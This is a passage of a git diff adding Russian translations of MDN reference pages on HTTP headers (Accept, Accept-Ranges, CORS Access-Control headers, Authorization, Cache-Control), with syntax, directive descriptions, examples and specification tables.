+  <p>Хранилище IANA поддерживает <a class="external" href="http://www.iana.org/assignments/http-parameters">полный список официальных кодировок</a>.</p>
+ </li>
+ <li>Иногда также используются две другие кодировки, <code>bzip</code> и <code>bzip2</code>, но они не входят в стандарт. Они применяют алгоритм, который используются в этих двух UNIX-программах. Стоит учесть, что поддержка первой кодировки прекратилась из-за проблем с лицензированием.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header", "Заголовок ответа")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example
+Accept-Patch: text/example;charset=utf-8
+Accept-Patch: application/merge-patch+json
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<p>Нет</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example
+
+Accept-Patch: text/example;charset=utf-8
+
+Accept-Patch: application/merge-patch+json
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("5789", "Accept-Patch", "3.1")}}</td>
+   <td>HTTP PATCH</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Для данного заголовка не важная совместимость браузерами, так как заголовок посылается сервером и спецификация не определяет поведение клиента.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP-метод {{HTTPMethod("PATCH")}}</li>
+ <li>Семантика и контекст {{RFC("7231", "PUT", "4.3.4")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-ranges/index.html b/files/ru/web/http/заголовки/accept-ranges/index.html
new file mode 100644
index 0000000000..b8f63b9d0e
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-ranges/index.html
@@ -0,0 +1,72 @@
+---
+title: Accept-Ranges
+slug: Web/HTTP/Заголовки/Accept-Ranges
+translation_of: Web/HTTP/Headers/Accept-Ranges
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP Заголовок ответа <code><strong>Accept-Ranges</strong></code> -- это маркер, который использует сервер, чтобы уведомить клиента о поддержке "запросов по кускам". Его значение указывает единицу измерения, которая может быть использована для определения диапазона чтения.</p>
+
+<p>При наличии заголовка <code>Accept-Ranges</code>, браузер может попытаться <em>возобновить</em> прерванную загрузку, а не запускать её с самого начала.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Accept-Ranges: bytes
+Accept-Ranges: none</pre>
+
+<h2 id="Указания">Указания</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Единица измерения диапазона не поддерживается, что эквивалентно отсутствию диапазона и поэтому редко используется, хотя некоторые браузеры, такие как IE9 используют его для отключения или удаления кнопоки паузы у активной загрузке в менеджере загрузок.</dd>
+ <dt><code>bytes</code></dt>
+ <dd>
+ <p>Единицей измерения для диапазона являются байты.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Accept-Ranges: bytes
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Ranges")}}</p>
+
+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept/index.html b/files/ru/web/http/заголовки/accept/index.html
new file mode 100644
index 0000000000..69ab96233b
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept/index.html
@@ -0,0 +1,89 @@
+---
+title: Accept
+slug: Web/HTTP/Заголовки/Accept
+tags:
+  - HTTP
+  - Заголовки HTTP
+  - Заголовки запроса HTTP
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP заголовок запроса <strong><code>Accept</code></strong> указывает, какие типы контента, выраженные как <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типы</a>, клиент может понять. Используя <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+   <td>нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>yes, with the additional restriction that values can't contain a <em>CORS-unsafe request header byte</em>: 0x00-0x1F (except 0x09 (HT)), <code>"():&lt;&gt;?@[\]{}</code>, and 0x7F (DEL).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Несколько типов, дополненных синтаксисом {{glossary("quality values", "значений качества")}}:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd>Один точный <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-тип</a>, например <code>text/html</code>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>MIME тип без какого-либо подтипа. <code>image/*</code> будет соответствовать типам <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> и любым другим типам изображений.</dd>
+ <dt><code>*/*</code></dt>
+ <dd>Любой MIME type</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Любое используемое значение помещается в порядке приоритета, заданным с использованием относительного <a href="/en-US/docs/Glossary/Quality_values">значения качества</a>, которое называется <em>весом</em>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристика </th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурных данных. Если вы хотели бы внести свой вклад в эти данные, пожалуйста, склонируйте репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-request.</p>
+
+<p>{{Compat("http.headers.Accept")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a></li>
+ <li>Заголовок с результатами согласования контента: {{HTTPHeader("Content-Type")}}</li>
+ <li>Другие похожие заголовки: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-allow-headers/index.html b/files/ru/web/http/заголовки/access-control-allow-headers/index.html
new file mode 100644
index 0000000000..d392143198
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-allow-headers/index.html
@@ -0,0 +1,93 @@
+---
+title: Access-Control-Allow-Headers
+slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers
+tags:
+  - CORS
+  - HTTP
+  - Заголовок
+  - Справка
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа <strong><code>Access-Control-Allow-Headers</code></strong> используется в ответ на {{glossary("preflight request")}}, чтобы указать, какие заголовки HTTP могут использоваться во время фактического запроса.</p>
+
+<p>The {{glossary("simple header", "simple headers")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (но только с MIME-типом, найденым в этом значении (исключая параметры), либо <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code> или <code>text/plain</code>), всегда доступны и не должны быть перечислены в этом заголовке.</p>
+
+<p>Этот заголовок обязателен, если запрос содержит заголовок {{HTTPHeader("Access-Control-Request-Headers")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Список поддерживаемых заголовков разделенных запятыми.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p>
+
+<h2 id="Заметки_по_совместимости">Заметки по совместимости</h2>
+
+<ul>
+ <li>Подстановочное значение (*), указанное в последней спецификации, еще не реализовано в браузерах:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+   <li>WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165508">Issue 165508</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-allow-methods/index.html b/files/ru/web/http/заголовки/access-control-allow-methods/index.html
new file mode 100644
index 0000000000..d3917204bc
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-allow-methods/index.html
@@ -0,0 +1,85 @@
+---
+title: Access-Control-Allow-Methods
+slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods
+tags:
+  - CORS
+  - HTTP
+  - Заголовки
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Access-Control-Allow-Methods</code></strong> это заголовок ответа, который определяет метод или методы доступа к ресурсам {{glossary("preflight request")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Methods: &lt;method&gt;, &lt;method&gt;, ...
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;method&gt;</dt>
+ <dd>Разделенный запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">методов HTTP запросов</a>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица сравнения сгенерирована из структурных данных. Если вы хотите внести вклад в данные, пожалйуста, посмотрите эту ссылку и отправьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p>
+
+<h2 id="Замечания_по_совместимости">Замечания по совместимости</h2>
+
+<ul>
+ <li>Подстановочное значение (*), которое упоминается в последней спецификации еще не реализовано в браузерах:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-allow-origin/index.html b/files/ru/web/http/заголовки/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..5dc5aa2b7c
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-allow-origin/index.html
@@ -0,0 +1,94 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Заголовки/Access-Control-Allow-Origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа <code><strong>Access-Control-Allow-Origin</strong></code> показывает, может ли ответ сервера быть доступен коду, отправляющему запрос с данного источника {{glossary("origin")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origin&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>*</code></dt>
+ <dd>Для запросов <em>без учетных данных</em>. Значение "<code>*</code>" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибке</a>.</dd>
+ <dt><code>&lt;origin&gt;</code></dt>
+ <dd>Указывает источник. Может быть указан только один источник.</dd>
+ <dt><code>null</code></dt>
+ <dd>Определяет в качестве источника "null".
+ <div class="note"><strong>Замечание:</strong> <a href="https://w3c.github.io/webappsec-cors-for-developers/#avoid-returning-access-control-allow-origin-null">Не используйте</a> <code>null</code>: "Может показаться, что вернуть <code>Access-Control-Allow-Origin: "null"</code> безопасно, но сериализация Источника любого ресурса, использующего неиерархическую схему (такие как <code>data:</code> или <code>file:</code>), и изолированные документы, определяются как "null". Многие пользовательские агенты предоставляют таким документам доступ к ответу сзаголовком <code>Access-Control-Allow-Origin: "null"</code>, и любой источник модет создать враждебный документ с Источником "null". Поэтому использования заголовка ACAO со значением "null" следует избегать."</div>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Ответ, который указывает браузеру разрешить доступ к ресурсу из любого источника:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: *</pre>
+
+<p>Ответ, который указывает браузеру разрешить доступ к ресурсу только из источника <code>https://developer.mozilla.org</code>:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заговока {{HTTPHeader("Origin")}} запроса, спавнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p>
+
+<h3 id="CORS_и_кэширование">CORS и кэширование</h3>
+
+<p>Если сервер послал ответ со значением <code>Access-Control-Allow-Origin</code>, которое содержит явное указание источника (а не шаблонное значние "<code>*</code>"), тогда ответ также должен включать в себя заголовок {{HTTPHeader("Vary")}} со значением <code>Origin</code> — чтобы указать браузеру, что ответы с сервера могут отличаться в зависимости от заголовка запроса <code>Origin</code>.</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+ <li>{{httpheader("Cross-Origin-Resource-Policy")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-max-age/index.html b/files/ru/web/http/заголовки/access-control-max-age/index.html
new file mode 100644
index 0000000000..0d5d63b8b0
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-max-age/index.html
@@ -0,0 +1,69 @@
+---
+title: Access-Control-Max-Age
+slug: Web/HTTP/Заголовки/Access-Control-Max-Age
+translation_of: Web/HTTP/Headers/Access-Control-Max-Age
+---
+<div><code>Заголовок ответа сервера</code><strong><code> Access-Control-Max-Age</code></strong> сообщает браузеру насколько {{glossary("предзапрос")}} (эта информация содержится в заголовках {{HTTPHeader("Access-Control-Allow-Methods")}} и {{HTTPHeader("Access-Control-Allow-Headers")}}) может быть кэширован и опущен при запросах к серверу.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Заголовок ответа")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt>&lt;delta-seconds&gt;</dt>
+ <dd>Количество секунд, на которое запрос может быть кэширован.<br>
+ Максимальное значение в Firefox составляет <a href="https://dxr.mozilla.org/mozilla-central/rev/7ae377917236b7e6111146aa9fb4c073c0efc7f4/netwerk/protocol/http/nsCORSListenerProxy.cpp#1131">24 часа</a> (86400 секунд), в Chromium <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?rcl=43ab0ff8fdcf3a10a89c4d0d0421f461967f2bd5&amp;l=36">10 минут</a> (600 секунд). Chromium также определяет значение по-умолчанию <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?rcl=43ab0ff8fdcf3a10a89c4d0d0421f461967f2bd5&amp;l=26">5</a> секунд.<br>
+ Значение <strong>-1</strong> отменяет кэширование, отправляя предзапрос перед каждым запросом.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Кэширование предзапроса на 600 секунд:</p>
+
+<pre>Access-Control-Max-Age: 600 </pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-max-age', 'Access-Control-Max-Age')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Max-Age")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/authorization/index.html b/files/ru/web/http/заголовки/authorization/index.html
new file mode 100644
index 0000000000..02679e19f1
--- /dev/null
+++ b/files/ru/web/http/заголовки/authorization/index.html
@@ -0,0 +1,91 @@
+---
+title: Authorization
+slug: Web/HTTP/Заголовки/Authorization
+tags:
+  - HTTP
+  - HTTP Заголовок
+  - Заголовок
+  - заголовок запроса
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок HTTP запроса <strong><code>Authorization</code></strong> включает в себя данные пользователя для проверки подлинности пользовательского агента с сервером обычно после того, как сервер ответил со статусом {{HTTPStatus("401")}} <code>Unauthorized</code> и заголовком {{HTTPHeader("WWW-Authenticate")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Authorization: &lt;тип&gt; &lt;данные пользователя&gt;</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;тип&gt;</dt>
+ <dd><a href="/ru/docs/Web/HTTP/Авторизация#Authentication_schemes">Тип авторизации</a>. Общий тип <a href="/ru/docs/Web/HTTP/Авторизация#Basic_authentication_scheme">«Базовая»</a>. Остальные типы:
+ <ul>
+  <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+  <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;данные пользователя&gt;</dt>
+ <dd>Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом:
+ <ul>
+  <li>Логин и пароль, разделенные двоеточием (<code>aladdin:opensesame</code>).</li>
+  <li>Результирующая строка, закодированная в <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Примечание</strong>: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>См. также <a href="/ru/docs/Web/HTTP/Authorization">HTTP авторизацию</a> для примеров конфигураций веб-серверов Apache или nginx с защитой вашего сайта паролем с Базовой HTTP авторизацией.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/Authorization">HTTP авторизация</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/cache-control/index.html b/files/ru/web/http/заголовки/cache-control/index.html
new file mode 100644
index 0000000000..4dd0c2de68
--- /dev/null
+++ b/files/ru/web/http/заголовки/cache-control/index.html
@@ -0,0 +1,173 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Заголовки/Cache-Control
+tags:
+  - Кэширование
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Общий заголовок <strong><code>Cache-Control</code></strong> используется для задания инструкций кэширования как для запросов, так и для ответов. Инструкции кэширования однонаправленные: заданная инструкция в запросе не подразумевает, что такая же инструкция будет указана в ответе</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Инструкции не чувствительны к регистру и имеют необязательный аргумент, который может быть указан как в кавычках, так и без них. Несколько инструкций разделяются запятыми.</p>
+
+<h3 id="Инструкции_кэширования_для_запросов">Инструкции кэширования для запросов</h3>
+
+<p>Стандартные инструкции <code>Cache-Control</code>, которые могут задаваться клиентом для HTTP запроса.</p>
+
+<pre class="syntaxbox">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+</pre>
+
